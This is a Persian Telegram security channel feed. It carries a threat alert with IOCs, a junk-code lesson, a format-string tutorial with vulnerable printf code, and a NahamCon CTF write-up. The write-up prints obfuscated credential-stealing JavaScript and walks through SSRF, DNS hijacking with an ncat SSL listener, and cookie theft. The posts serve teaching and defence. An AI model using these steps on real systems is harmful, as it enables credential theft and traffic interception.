Forwarded from Delta Package | دلتا پکیج | Crypto
آیا AI واقعاً فقط یک ابزاره؟
به نظرم با وجود همه حرفهایی که میزنیم و میگیم «AI فقط یک ابزار مثل بقیه ابزارهاست»، این بار قضیه کمی فرق داره.
چون ابزارهای قبلی بیشتر فقط کاری رو که انسان انجام میداد سریعتر و راحتتر میکردن.
مثلاً Photoshop یا Figma خودشون طراحی نمیکنن. این طراحه که تصمیم میگیره، فکر میکنه و طراحی میکنه و ابزار فقط کمک میکنه ایدهاش رو اجرا کنه.
اما AI داره وارد مرحلهای میشه که میتونه خودش پیشنهاد بده، طراحی اولیه انجام بده و کد بنویسه، باگ پیدا کنه و حتی بخشهایی از پروژه رو جلو ببره.
یعنی این بار فقط با یک ابزار ساده که نیاز به هدایت کامل انسان داره طرف نیستیم؛ AI داره بخشی از خودِ فرایند فکر کردن و انجام کار رو هم بر عهده میگیره.
پس تا اینجای بحث میتونیم به این نتیجه برسیم که حداقل با یک ابزار ساده مثل ابزارهای قبلی طرف نیستیم؛ AI داره شکل انجام دادن خودِ کارها رو تغییر میده.
حالا سؤال مهم اینه که وقتی انجام دادن کارها سریعتر بشه، چه اتفاقی برای نیروی کار میافته؟
به نظرم با وجود همه حرفهایی که میزنیم و میگیم «AI فقط یک ابزار مثل بقیه ابزارهاست»، این بار قضیه کمی فرق داره.
چون ابزارهای قبلی بیشتر فقط کاری رو که انسان انجام میداد سریعتر و راحتتر میکردن.
مثلاً Photoshop یا Figma خودشون طراحی نمیکنن. این طراحه که تصمیم میگیره، فکر میکنه و طراحی میکنه و ابزار فقط کمک میکنه ایدهاش رو اجرا کنه.
اما AI داره وارد مرحلهای میشه که میتونه خودش پیشنهاد بده، طراحی اولیه انجام بده و کد بنویسه، باگ پیدا کنه و حتی بخشهایی از پروژه رو جلو ببره.
یعنی این بار فقط با یک ابزار ساده که نیاز به هدایت کامل انسان داره طرف نیستیم؛ AI داره بخشی از خودِ فرایند فکر کردن و انجام کار رو هم بر عهده میگیره.
پس تا اینجای بحث میتونیم به این نتیجه برسیم که حداقل با یک ابزار ساده مثل ابزارهای قبلی طرف نیستیم؛ AI داره شکل انجام دادن خودِ کارها رو تغییر میده.
حالا سؤال مهم اینه که وقتی انجام دادن کارها سریعتر بشه، چه اتفاقی برای نیروی کار میافته؟
👍5
📵 هشدار امنیتی | مشاهده ارتباطات مشکوک با دامنه و فایل ناشناخته
🔴بنا بر هشدار دریافت شده توسط برخی زیرساختهای حیاتی کشور، و بر اساس بررسیهای انجامشده طی روز گذشته، فعالیتهای مشکوکی در برخی شبکههای سازمانی مشاهده شده که با ارتباط با دامنه زیر مرتبط بوده است:
⬅️دامنه مشکوک:
cl-glcb907925.gcdn.co
🔴در بررسیهای اولیه، فایلی با نام Startup.exe بهعنوان یکی از عوامل آغازکننده این ارتباطات شناسایی شده است. با توجه به اینکه امکان تغییر نام فایل وجود دارد، صرفاً بر اساس نام فایل اقدام به شناسایی یا حذف آن نشود.
🔴ماهیت دقیق فایل/بدافزار در حال حاضر مشخص نیست و بر اساس بررسیهای انجامشده، تعداد محدودی از محصولات امنیتی در سطح جهان قادر به شناسایی آن بودهاند. همچنین دامنه مذکور در ارتباط با فعالیت نمونههای مختلف بدافزاری در سطح جهان مشاهده شده و بنابراین هرگونه ارتباط با آن نیازمند بررسی دقیق و فوری است.
⬅️ ثبت IOCهای مرتبط با فایل مشکوک:
MD5:
d12fcf309b936700ca3b13e5793cb518
SHA1:
9945458e84f99d58162bf7b6cf3968e3437c6c55
SHA256:
26842ae4f3e771c2d7789f14e2530c8b94ff7759b26b4e9a33732100971da08d
⬅️لیست IPهای مشاهدهشده در Resolve دامنه:
109.61.38.38
45.82.100.62
92.223.97.79
50.7.5.84
50.7.5.86
92.223.96.6
50.7.85.35
50.7.85.34
50.7.87.3
50.7.87.2
50.7.85.36
50.7.85.37
50.7.85.38
94.232.171.175
185.143.233.238
2.189.58.31
4.150.223.105
20.50.201.203
20.118.138.130
52.110.17.17
74.178.76.54
89.235.64.73
89.235.64.198
135.233.45.223
184.29.246.127
199.232.210.172
🔴اقدامات پیشنهادی:
1️⃣لطفاً در اسرع وقت IOCهای فوق در EDR، آنتیویروس، DNS، Proxy، Firewall و سایر تجهیزات مانیتورینگ بررسی شوند.
2️⃣هرگونه مشاهده فایل با هشهای فوق، ارتباط با دامنه cl-glcb907925.gcdn.co یا ارتباط با IPهای اعلامشده، بهعنوان مورد مشکوک مورد بررسی قرار گیرد.
3️⃣ در صورت مشاهده ارتباط فعال، ضمن بررسی Endpoint مربوطه، زمان ارتباط، Process ایجادکننده Connection، Parent Process، مسیر فایل، User اجراکننده و سایر فعالیتهای مرتبط نیز بررسی و مستندسازی شود.
4️⃣ در صورت امکان، دامنه و IOCهای فوق بهصورت موقت در لایههای امنیتی سازمان Block/Monitor شوند؛ البته قبل از مسدودسازی IPها، وابستگی احتمالی سرویسهای سازمانی به این آدرسها بررسی شود.
5️⃣ لطفاً در صورت مشاهده هرگونه مورد مرتبط، گزارش بررسی و نتایج حاصل را با مراجع بالادستی به اشتراک بگذارید.
6️⃣با توجه به ناشناخته بودن ماهیت دقیق نمونه و نرخ شناسایی پایین آن توسط برخی محصولات امنیتی، عدم شناسایی توسط آنتیویروس بهتنهایی به معنی سالم بودن سیستم یا فایل نیست. و بررسی رفتار Endpoint در این خصوص اهمیت ویژهای دارد.
https://t.me/ViperNull
🔴بنا بر هشدار دریافت شده توسط برخی زیرساختهای حیاتی کشور، و بر اساس بررسیهای انجامشده طی روز گذشته، فعالیتهای مشکوکی در برخی شبکههای سازمانی مشاهده شده که با ارتباط با دامنه زیر مرتبط بوده است:
⬅️دامنه مشکوک:
cl-glcb907925.gcdn.co
🔴در بررسیهای اولیه، فایلی با نام Startup.exe بهعنوان یکی از عوامل آغازکننده این ارتباطات شناسایی شده است. با توجه به اینکه امکان تغییر نام فایل وجود دارد، صرفاً بر اساس نام فایل اقدام به شناسایی یا حذف آن نشود.
🔴ماهیت دقیق فایل/بدافزار در حال حاضر مشخص نیست و بر اساس بررسیهای انجامشده، تعداد محدودی از محصولات امنیتی در سطح جهان قادر به شناسایی آن بودهاند. همچنین دامنه مذکور در ارتباط با فعالیت نمونههای مختلف بدافزاری در سطح جهان مشاهده شده و بنابراین هرگونه ارتباط با آن نیازمند بررسی دقیق و فوری است.
⬅️ ثبت IOCهای مرتبط با فایل مشکوک:
MD5:
d12fcf309b936700ca3b13e5793cb518
SHA1:
9945458e84f99d58162bf7b6cf3968e3437c6c55
SHA256:
26842ae4f3e771c2d7789f14e2530c8b94ff7759b26b4e9a33732100971da08d
⬅️لیست IPهای مشاهدهشده در Resolve دامنه:
109.61.38.38
45.82.100.62
92.223.97.79
50.7.5.84
50.7.5.86
92.223.96.6
50.7.85.35
50.7.85.34
50.7.87.3
50.7.87.2
50.7.85.36
50.7.85.37
50.7.85.38
94.232.171.175
185.143.233.238
2.189.58.31
4.150.223.105
20.50.201.203
20.118.138.130
52.110.17.17
74.178.76.54
89.235.64.73
89.235.64.198
135.233.45.223
184.29.246.127
199.232.210.172
🔴اقدامات پیشنهادی:
1️⃣لطفاً در اسرع وقت IOCهای فوق در EDR، آنتیویروس، DNS، Proxy، Firewall و سایر تجهیزات مانیتورینگ بررسی شوند.
2️⃣هرگونه مشاهده فایل با هشهای فوق، ارتباط با دامنه cl-glcb907925.gcdn.co یا ارتباط با IPهای اعلامشده، بهعنوان مورد مشکوک مورد بررسی قرار گیرد.
3️⃣ در صورت مشاهده ارتباط فعال، ضمن بررسی Endpoint مربوطه، زمان ارتباط، Process ایجادکننده Connection، Parent Process، مسیر فایل، User اجراکننده و سایر فعالیتهای مرتبط نیز بررسی و مستندسازی شود.
4️⃣ در صورت امکان، دامنه و IOCهای فوق بهصورت موقت در لایههای امنیتی سازمان Block/Monitor شوند؛ البته قبل از مسدودسازی IPها، وابستگی احتمالی سرویسهای سازمانی به این آدرسها بررسی شود.
5️⃣ لطفاً در صورت مشاهده هرگونه مورد مرتبط، گزارش بررسی و نتایج حاصل را با مراجع بالادستی به اشتراک بگذارید.
6️⃣با توجه به ناشناخته بودن ماهیت دقیق نمونه و نرخ شناسایی پایین آن توسط برخی محصولات امنیتی، عدم شناسایی توسط آنتیویروس بهتنهایی به معنی سالم بودن سیستم یا فایل نیست. و بررسی رفتار Endpoint در این خصوص اهمیت ویژهای دارد.
https://t.me/ViperNull
👍2❤1
Forwarded from EVE-NG (Mehrzad Moghaddas)
Documentation.pdf
1.4 MB
مستند سازی شبکه !
همه متفق القولیم که مستند سازی از اهم واجبات در حوزه شبکه است و باز همه قریب به اتفاق این موضوع رو کلا کنار میزاریم !!! 😄😄😄
شاید یکی از مهمترین دلایل این موضوع اینه که کمتر دوره یا مستندی به این موضوع پرداخته و عملا ما آموزشی در این زمینه ندیدیم ! و هر چه کردیم از ظن خود بوده و لا غیر !!!
علی ایها الحال ، این مرقومه را دریابید که در، یابید !
آموزش مختصر و مفید مستند سازی شبکه . مرحله به مرحله با مثال و غیره ! آنهم چه ؟! دو زبانه !!!
* چه متنی شد ! اول صبحی نصراله منشی درونم ظاهرا بیدار شده !
همه متفق القولیم که مستند سازی از اهم واجبات در حوزه شبکه است و باز همه قریب به اتفاق این موضوع رو کلا کنار میزاریم !!! 😄😄😄
شاید یکی از مهمترین دلایل این موضوع اینه که کمتر دوره یا مستندی به این موضوع پرداخته و عملا ما آموزشی در این زمینه ندیدیم ! و هر چه کردیم از ظن خود بوده و لا غیر !!!
علی ایها الحال ، این مرقومه را دریابید که در، یابید !
آموزش مختصر و مفید مستند سازی شبکه . مرحله به مرحله با مثال و غیره ! آنهم چه ؟! دو زبانه !!!
* چه متنی شد ! اول صبحی نصراله منشی درونم ظاهرا بیدار شده !
👍4
Every antivirus and EDR product depends on freshness.
This write-up documents a defensive research exercise we carried out in our own controlled lab. We asked a simple question: can a user-mode…
https://weedhashpeddler.medium.com/every-antivirus-and-edr-product-depends-on-freshness-28b0fa9c810d
https://t.me/ViperNull
This write-up documents a defensive research exercise we carried out in our own controlled lab. We asked a simple question: can a user-mode…
https://weedhashpeddler.medium.com/every-antivirus-and-edr-product-depends-on-freshness-28b0fa9c810d
https://t.me/ViperNull
Medium
Every antivirus and EDR product depends on freshness.
This write-up documents a defensive research exercise we carried out in our own controlled lab. We asked a simple question: can a user-mode…
Local Privilege Escalation To System In Wibu-Systems CodeMeter Application | Shelltrail
This research post describes the process of finding and exploiting a local privilege escalation in the Wibu-Systems CodeMeter application
https://shelltrail.com/research/local-privilege-escalation-to-system-in-wibu-systems-codemeter-application
https://t.me/ViperNull
This research post describes the process of finding and exploiting a local privilege escalation in the Wibu-Systems CodeMeter application
https://shelltrail.com/research/local-privilege-escalation-to-system-in-wibu-systems-codemeter-application
https://t.me/ViperNull
Shelltrail
Local Privilege Escalation To System In Wibu-Systems CodeMeter Application CVE-2026-81572 | Shelltrail
This research post describes the process of finding and exploiting a local privilege escalation in the Wibu-Systems CodeMeter application
Forwarded from ReverseEngineering
Dead Code و Junk Code
کدی که هست ولی قرار نیست کاری انجام بده
یکی از روش های رایج Obfuscation اینه که داخل برنامه مقدار زیادی کد اضافه قرار بدن که یا اصلا اجرا نمیشه یا اجرا میشه ولی هیچ تاثیری روی نتیجه نهایی برنامه نداره
هدف اینه که وقتی ما فایل رو باز میکنیم حجم زیادی از دستورهای اضافی ببینیم و پیدا کردن منطق واقعی سختتر بشه
مثلا این کد ساده رو ببینید:
حالا یک مثال در اسمبلی ببینیم:
اگر مقدار
اما Junk Code همیشه به این سادگی نیست ممکنه یک Obfuscator دستورهایی اضافه کنه که ظاهرشون مهم به نظر میرسه:
در ظاهر چند عملیات انجام شده
ولی در اخر وضعیت مهم برنامه تقریبا همون چیزیه که قبل از این بلاک بوده
در تحلیل واقعی یکی از بهترین سوالها اینه:
این بلاک چه چیزی رو تغییر داد که بعدا واقعا استفاده میشه؟
اگر جواب هیچ چیز باشه احتمال داره با Junk Code طرف باشیم یک روش خوب برای تحلیل اینه که فقط مقدار هایی رو دنبال کنید که به خروجی یا مرحله های بعدی برنامه میرسن مثلا اگر یک مقدار داخل
مقدارهای خروجی کجا میرن؟
حافظه تغییر کرده؟
Flag مهمی تغییر کرده؟
تابع دیگه ای صدا زده شده؟
نتیجه این عملیات بعدا استفاده میشه؟
Deobfuscation
یعنی همین کم کم چیزهایی که تاثیری روی منطق اصلی ندارن کنار میرن و ساختار واقعی برنامه مشخص میشه
تمرین:
این کد رو بررسی کنید:
C++
مشخص کنید کدوم قسمت روی خروجی تابع تاثیر داره و کدوم قسمت فقط باعث شلوغ شدن تحلیل میشه بعد همین مثال رو Compile کنید و داخل Ghidra باز کنید ببینید Compiler با بخش اضافی چه کاری میکنه ممکنه حتی قبل از اینکه تو فایل خروجی رو ببینید خودش کل بخش بی استفاده رو حذف کرده باشه چون کامپایلر ها هم بعضی وقتا برخلاف انتظارمون کار مفید انجام میدن
@reverseengine
کدی که هست ولی قرار نیست کاری انجام بده
یکی از روش های رایج Obfuscation اینه که داخل برنامه مقدار زیادی کد اضافه قرار بدن که یا اصلا اجرا نمیشه یا اجرا میشه ولی هیچ تاثیری روی نتیجه نهایی برنامه نداره
هدف اینه که وقتی ما فایل رو باز میکنیم حجم زیادی از دستورهای اضافی ببینیم و پیدا کردن منطق واقعی سختتر بشه
مثلا این کد ساده رو ببینید:
int result = a + b;اینجا محاسبات مربوط به
int x = 50;
x = x * 2;
x = x - 30;
return result;
x هیچ تاثیری روی result نداره پس از نظر منطق برنامه این بخش Dead Code محسوب میشهحالا یک مثال در اسمبلی ببینیم:
mov eax, 10
add eax, 20
mov ecx, 500
xor ecx, ecx
add ecx, 100
ret
اگر مقدار
ecx هیچ جا بعدا استفاده نشه بخش مربوط به ecx عملا تاثیری روی خروجی تابع نداره این همون چیزیه که ما باید یاد بگیریم تشخیص بدیماما Junk Code همیشه به این سادگی نیست ممکنه یک Obfuscator دستورهایی اضافه کنه که ظاهرشون مهم به نظر میرسه:
push rax
xor rcx, rcx
inc rcx
dec rcx
pop rax
در ظاهر چند عملیات انجام شده
ولی در اخر وضعیت مهم برنامه تقریبا همون چیزیه که قبل از این بلاک بوده
در تحلیل واقعی یکی از بهترین سوالها اینه:
این بلاک چه چیزی رو تغییر داد که بعدا واقعا استفاده میشه؟
اگر جواب هیچ چیز باشه احتمال داره با Junk Code طرف باشیم یک روش خوب برای تحلیل اینه که فقط مقدار هایی رو دنبال کنید که به خروجی یا مرحله های بعدی برنامه میرسن مثلا اگر یک مقدار داخل
RAX ساخته بشه ولی قبل از استفاده دوباره overwrite بشه احتمالا محاسبه قبلی اهمیت نداشته ولی اینجا باید حواستون جمع باشه هر کدی که خروجی واضحی نداره Junk Code نیست ممکنه روی Flagها تاثیر بذاره حافظه رو تغییر بده یا اثر جانبی داشته باشه پس قبل از حذف ذهنی یک بلاک رو باید بررسی کنید:مقدارهای خروجی کجا میرن؟
حافظه تغییر کرده؟
Flag مهمی تغییر کرده؟
تابع دیگه ای صدا زده شده؟
نتیجه این عملیات بعدا استفاده میشه؟
Deobfuscation
یعنی همین کم کم چیزهایی که تاثیری روی منطق اصلی ندارن کنار میرن و ساختار واقعی برنامه مشخص میشه
تمرین:
این کد رو بررسی کنید:
C++
int calculate(int a, int b)
{
int x = a + b;
int temp = 500;
temp ^= 123;
temp += 20;
temp -= 20;
return x;
}
مشخص کنید کدوم قسمت روی خروجی تابع تاثیر داره و کدوم قسمت فقط باعث شلوغ شدن تحلیل میشه بعد همین مثال رو Compile کنید و داخل Ghidra باز کنید ببینید Compiler با بخش اضافی چه کاری میکنه ممکنه حتی قبل از اینکه تو فایل خروجی رو ببینید خودش کل بخش بی استفاده رو حذف کرده باشه چون کامپایلر ها هم بعضی وقتا برخلاف انتظارمون کار مفید انجام میدن
@reverseengine
👍3
سلام چطورین ؟
امروز اومدیم یه کد ساده برسی کنیم و بعدش برسیم به یه آسیب پذیری که ببینیم چطوری موجبش میشه و چی هست اصلا:
برای برسی این کد باید یه آسیب پذیری به اسم Format String آشنا باشیم. زمانی مشهور شد که این آسیب پذیریو توی apache , wu-ftpd اکسپلویتش کردن. در حالت عادی printf میاد از ما یه format میگیره برای اینکه مشخص کنه خروجی ما به چه حالتی هستش مثلا (d,"i%")printf میاد حالا عدد صحیح برا ما پرینت میگیره حالا فکر کن کاربر بیاد ورودی mmd 3 تا %x بزاره اون موقع چی میشه؟
در واقع printf میاد اون رو به عنوان فرمت تفسیر میکنه و به چاپ رشته میاد شروع به خوندن مقادیر stack میکنه و حالا میتونه با p% بیاد ادرس های حافظه ببینه و s% بیاد رشته هایی که توی حافظه هستن رو بخونه و .... خطرناک ترین حرکتی که میتونه پیاده کنه استفاده از GOT رو به RCE دلخواه خودش برسونه. با این حرکت میشه حمله هایی مثل memory leak , arbitrary write و چیزای دیگه پیاده سازی کردش .
یکی از روشایی که میشه ازش محافظت کرد استفاده از checksec هست که وضعیتشو برسی میکنه که در چه حالتی هستش مثل چک کردن stack canary ,Aslr ....
بعدشم میشه از خود کامپایلرمون با ست کردن سویچ های -fstack-protector-strong و -Wformat-security
و ... موقع کامپایل کردنشون هست.
https://t.me/ViperNull
امروز اومدیم یه کد ساده برسی کنیم و بعدش برسیم به یه آسیب پذیری که ببینیم چطوری موجبش میشه و چی هست اصلا:
#include <stdio.h>
int main() {
char mmd[100];
fgets(mmd, sizeof(mmd), stdin);
printf(mmd);
return 0
برای برسی این کد باید یه آسیب پذیری به اسم Format String آشنا باشیم. زمانی مشهور شد که این آسیب پذیریو توی apache , wu-ftpd اکسپلویتش کردن. در حالت عادی printf میاد از ما یه format میگیره برای اینکه مشخص کنه خروجی ما به چه حالتی هستش مثلا (d,"i%")printf میاد حالا عدد صحیح برا ما پرینت میگیره حالا فکر کن کاربر بیاد ورودی mmd 3 تا %x بزاره اون موقع چی میشه؟
در واقع printf میاد اون رو به عنوان فرمت تفسیر میکنه و به چاپ رشته میاد شروع به خوندن مقادیر stack میکنه و حالا میتونه با p% بیاد ادرس های حافظه ببینه و s% بیاد رشته هایی که توی حافظه هستن رو بخونه و .... خطرناک ترین حرکتی که میتونه پیاده کنه استفاده از GOT رو به RCE دلخواه خودش برسونه. با این حرکت میشه حمله هایی مثل memory leak , arbitrary write و چیزای دیگه پیاده سازی کردش .
یکی از روشایی که میشه ازش محافظت کرد استفاده از checksec هست که وضعیتشو برسی میکنه که در چه حالتی هستش مثل چک کردن stack canary ,Aslr ....
بعدشم میشه از خود کامپایلرمون با ست کردن سویچ های -fstack-protector-strong و -Wformat-security
و ... موقع کامپایل کردنشون هست.
https://t.me/ViperNull
🔥5
Forwarded from کانال امنیت سایبری آراج
بلوغ SOC را با لایسنسها و تجهیزات میلیاردی نمیسنجند!
در جلسات مشاوره، اغلب با یک پارادوکس آزاردهنده مواجه میشوم: سازمانهایی با بودجههای کلان که ویترینی از پیشرفتهترین ابزارهای امنیتی (SIEM، SOAR، EDR) را دارند، اما همچنان در برابر نفوذهای ساده آسیبپذیرند.
مدتی پیش در حال بررسی زیرساختی بودم که در نگاه اول، استانداردترین محیط Enterprise بود. دهها داشبوردِ مملو از داده، مانیتورینگ ۲۴ ساعته و ترافیکِ مدیریتشده. اما وقتی به «قابلیتهای شکار تهدید» (Threat Hunting) نگاه کردیم، یک خلأ عمیق وجود داشت.
مسئله کجاست؟
ما در صنعت امنیتِ کشور، بیش از حد درگیر «اجرای ابزار» (Tool Implementation) هستیم و «عملیات امنیت» (Security Operations) را فراموش کردهایم.
به عنوان کسی که سالهاست در نقش مشاور، مدیر SOC و مدرس این حوزه فعالیت میکنم، این واقعیت را بارها دیدهام: تیمها در گرداب Alert Fatigue غرق شدهاند. روزانه صدها آلارم را بررسی میکنند، اما چون روی Detection Engineering و پیادهسازی لاجیکهای اختصاصی (مبتنی بر MITRE ATT&CK) سرمایهگذاری نکردهاند، نفوذهای خاموش (Lateral Movements) یا رفتارهای غیرعادی در لایههای شبکه از چشمانشان پنهان میماند.
یک واقعیت فنی که باید بپذیریم:
ابزارهای امنیتی، تنها «تولیدکننده سیگنال» هستند. اگر فرآیند پاسخ به رخداد (IR) و تواناییِ شکارِ تهدیدِ شما بالغ نباشد، ابزارها فقط «نویز» بیشتری برای شما تولید میکنند.
بلوغِ SOC، خرید لایسنس نیست؛
بلوغ یعنی هنرِ تبدیلِ دادههای خام به «هوشِ عملیاتی». یعنی تیم شما بداند چگونه فرضیه (Hypothesis) بسازد، رفتار غیرعادی را در میان میلیونها لاگ کشف کند و با یک فارنزیکِ دقیق، نفوذ را پیش از فاجعه متوقف کند.
یادمان باشد ابزار، خدمتکار تیم شماست؛ نه مدیر آن.
#SOC
#ThreatHunting
#DetectionEngineering
#BlueTeam
#IncidentResponse
در جلسات مشاوره، اغلب با یک پارادوکس آزاردهنده مواجه میشوم: سازمانهایی با بودجههای کلان که ویترینی از پیشرفتهترین ابزارهای امنیتی (SIEM، SOAR، EDR) را دارند، اما همچنان در برابر نفوذهای ساده آسیبپذیرند.
مدتی پیش در حال بررسی زیرساختی بودم که در نگاه اول، استانداردترین محیط Enterprise بود. دهها داشبوردِ مملو از داده، مانیتورینگ ۲۴ ساعته و ترافیکِ مدیریتشده. اما وقتی به «قابلیتهای شکار تهدید» (Threat Hunting) نگاه کردیم، یک خلأ عمیق وجود داشت.
مسئله کجاست؟
ما در صنعت امنیتِ کشور، بیش از حد درگیر «اجرای ابزار» (Tool Implementation) هستیم و «عملیات امنیت» (Security Operations) را فراموش کردهایم.
به عنوان کسی که سالهاست در نقش مشاور، مدیر SOC و مدرس این حوزه فعالیت میکنم، این واقعیت را بارها دیدهام: تیمها در گرداب Alert Fatigue غرق شدهاند. روزانه صدها آلارم را بررسی میکنند، اما چون روی Detection Engineering و پیادهسازی لاجیکهای اختصاصی (مبتنی بر MITRE ATT&CK) سرمایهگذاری نکردهاند، نفوذهای خاموش (Lateral Movements) یا رفتارهای غیرعادی در لایههای شبکه از چشمانشان پنهان میماند.
یک واقعیت فنی که باید بپذیریم:
ابزارهای امنیتی، تنها «تولیدکننده سیگنال» هستند. اگر فرآیند پاسخ به رخداد (IR) و تواناییِ شکارِ تهدیدِ شما بالغ نباشد، ابزارها فقط «نویز» بیشتری برای شما تولید میکنند.
بلوغِ SOC، خرید لایسنس نیست؛
بلوغ یعنی هنرِ تبدیلِ دادههای خام به «هوشِ عملیاتی». یعنی تیم شما بداند چگونه فرضیه (Hypothesis) بسازد، رفتار غیرعادی را در میان میلیونها لاگ کشف کند و با یک فارنزیکِ دقیق، نفوذ را پیش از فاجعه متوقف کند.
یادمان باشد ابزار، خدمتکار تیم شماست؛ نه مدیر آن.
#SOC
#ThreatHunting
#DetectionEngineering
#BlueTeam
#IncidentResponse
❤2
رنجهای IP خصوصی عبارتاند از:
10.0.0.0 تا 10.255.255.255172.16.0.0 تا 172.31.255.255192.168.0.0 تا 192.168.255.255👍7
سلاام دوباره آقا امشب اومدیم یه رایتاپ میشه گفت خوب که مربوط به nahamcon هست بزاریم امیدوارم لذت ببرین
توی شروع کار ما اول یه سورس داریم که توی آدرس https://www.googletagmaneger.com/gtag/js?id=UA-978312237-6 هستش :
بعد از رفتن به صفحه سورسش یه فایل js داریم که کد زیر داخلشه :
بخش مهمی که این کد داره اینه که برنامه نویس اومده از bota برای base64 کردن username password استفاده کرده و اینا به این آدرس ارسال میشن https://www.googletagmaneger.com/event?e=‘ + n + ‘
کدی که دربارش حرف زدیم :
توی اینجا معمولاxss جوابه و رفتیم تو کارش و چون مرورگر ما کروم هدلس بود پس یکم خیالمون راحت شد که میتونه جاوااسکریپت پردازش کنه و به صورت زیر بود:
در اینجا اومدیم و با img tag xss پیاده کردیم ولی به چیز خاصی نرسیدیم و کوکی و داده خاصی بهمون برگشت داده نمی شد . بعد یه مقدار ریکان رسیدیم به آیپی http://178.62.61.49 و الان یه سورس جدید توی این آدرس برای برسی داشتیم به نام public.js که سورسش رو توی بخش پایین میزارم:
شمام فکر کنم وقتی مقدار connection و node میبینید دلتون میره سمت ssrf پس میریم که تستش کنیم که درخواست ما به این شکل بود:
و ریسپانس 200 دریافت کردیم :
محتوای داخل 192.168.1.1 که اگه دقت کنیم یه private.js میبینیم که به شکل زیر بوده :
JS
$('.setConnection').click(function() {
var username = $('input[name="i_username"]').val();
var password = $('input[name="i_password"]').val();
$.get('/set/connection?username=' + username + '&password=' + password, function(resp) {
alert(resp);
});
});
$('.setDN
توی شروع کار ما اول یه سورس داریم که توی آدرس https://www.googletagmaneger.com/gtag/js?id=UA-978312237-6 هستش :
<script async src="https://www.googletagmaneger.com/gtag/js?id=UA-978312237-6"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-978312237-6');
</script>
بعد از رفتن به صفحه سورسش یه فایل js داریم که کد زیر داخلشه :
var bb = 'lo';
var cd = 'Btn';
var ccr = 'gin';
document.getElementById(bb + ccr + cd).addEventListener("click", function() {
var a_1 = 'htt';
var a_2 = 'ps://';
var a_3 = 'hac';
var a_4 = 'kboo';
var a_5 = 'kag';
var a_6 = 'ram';
var a_7 = '.c';
var a_8 = 'om/';
var a_9 = 'log';
var a_10 = 'in';
var e = new XMLHttpRequest;
e.open("POST", a_1 + a_2 + a_3 + a_4 + a_5 + a_6 + a_7 + a_8 + a_9 + a_10, true);
e.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
e.onload = function() {
var t = JSON.parse(e.responseText);
if (console.log(), 201 == e.status) {
var n = btoa("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);
document.body.innerHTML = document.body.innerHTML + '';
window.location = t[0];
} else {
alert(t[0]);
}
};
e.send("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);
event.stopImmediatePropagation();
});
بخش مهمی که این کد داره اینه که برنامه نویس اومده از bota برای base64 کردن username password استفاده کرده و اینا به این آدرس ارسال میشن https://www.googletagmaneger.com/event?e=‘ + n + ‘
کدی که دربارش حرف زدیم :
var n = btoa("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);توی اینجا معمولاxss جوابه و رفتیم تو کارش و چون مرورگر ما کروم هدلس بود پس یکم خیالمون راحت شد که میتونه جاوااسکریپت پردازش کنه و به صورت زیر بود:
178.62.61.49 - - [14/Jun/2020:16:36:45 +0000] "GET /imgtest HTTP/1.1" 404 3807 "https://www.googletagmaneger.com/view/a3e4ddefccd4d6ba506febedef7ccbc3" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.97 Safari/537.36"
در اینجا اومدیم و با img tag xss پیاده کردیم ولی به چیز خاصی نرسیدیم و کوکی و داده خاصی بهمون برگشت داده نمی شد . بعد یه مقدار ریکان رسیدیم به آیپی http://178.62.61.49 و الان یه سورس جدید توی این آدرس برای برسی داشتیم به نام public.js که سورسش رو توی بخش پایین میزارم:
$('.connection-test').click(function() {
$.post('/connection-test', { node: 'us1' }, function(resp) {
$('.connection-result').html('<div class="alert alert-success"><p>' + resp + '</p></div>');
}).fail(function(resp) {
$('.connection-result').html('<div class="alert alert-danger"><p>' + resp.responseJSON[0] + '</p></div>');
});
});شمام فکر کنم وقتی مقدار connection و node میبینید دلتون میره سمت ssrf پس میریم که تستش کنیم که درخواست ما به این شکل بود:
POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1
و ریسپانس 200 دریافت کردیم :
<div><input class="form-control" name="i_username" value="6422451584@fasternetbb.dsl"></div>
<div><input class="form-control" type="password" name="i_password" value="Bpi5!9fiLeikmeHmN"></div>
<div><input class="form-control" name="dns_server" value="8.8.8.8"></div>
<script src="/js/private.js"></script>
محتوای داخل 192.168.1.1 که اگه دقت کنیم یه private.js میبینیم که به شکل زیر بوده :
`
JS
$('.setConnection').click(function() {
var username = $('input[name="i_username"]').val();
var password = $('input[name="i_password"]').val();
$.get('/set/connection?username=' + username + '&password=' + password, function(resp) {
alert(resp);
});
});
$('.setDN
❤3🙏1
S').click(function() {
var server = $('input[name="dns_server"]').val();
$.get('/set/dns?server=' + server, function(resp) {
alert(resp);
});
});
توی این بخش اگه بتونیم SET/DNS کنترل کنیم میشه گفت عملا میتونیم به ترافیک دسترسی داشته باشیم پس توی این بخش با استفاده از این کد یه dns server راه انداختیم https://gist.githubusercontent.com/pklaus/b5a7876d4d2cf7271873/raw/cb089513b185f4128d956eef6e0fb9f5fd583e41/ddnsserver.py
و روی پورت 443 با netcat روی لیستن میزاریم : ncat -lv 443 و توی بخش بعدی این درخواستو ارسال میکنیم:
در نتیجه درخواست به سرور ما میومد ولی چون ssl بود و ما گواهیشو نداشتیم یه مشت چرندیاتو میدیدیم و با رفتن به بخش اول که شروع کردیم و یه مقدار گشتن به اینurl میرسیم https://www.googletagmaneger.com/event?include=asdf که یه خطای xdebug به ما نشون داد و خطا نشون دهده LFI بود ولی کاراکتر های @ , / توی بلک لیست بودن و با استفاده از آیپی خود سایت با یه مقدار fuzz به این بخش رسیدیم http://142.93.46.249/datacollection/ssl/ و الان ssl داشتیم و کدی که اون بالا بود اجرا کردیم :
python3 dns.py --port 53 –udp
و بعد این دستورو به netcat اضافه کردیم:
ncat -lv 443 --ssl-cert=/home/CTF/certs/fullchain.pem --ssl-key=/home/CTF/certs/privkey.pem
و بعد همون درخواستو تکرار کردیم و تماممم SSRF و ترافیکو گرفتیم و کارو جمع کرد
بعد هم با یه مقدار fuzz به بخش /api/cookie رسیدیم و با ارسال درخواست به این بخش تونستیم کوکی معتبر رو دریافت کنیم:
و در نهایت این کوکی برای سایت اول ست میکنیم و flag به دست میاریم.
https://buer.haus/2020/06/14/nahamcon-trash-the-cache-write-up-web-1000/
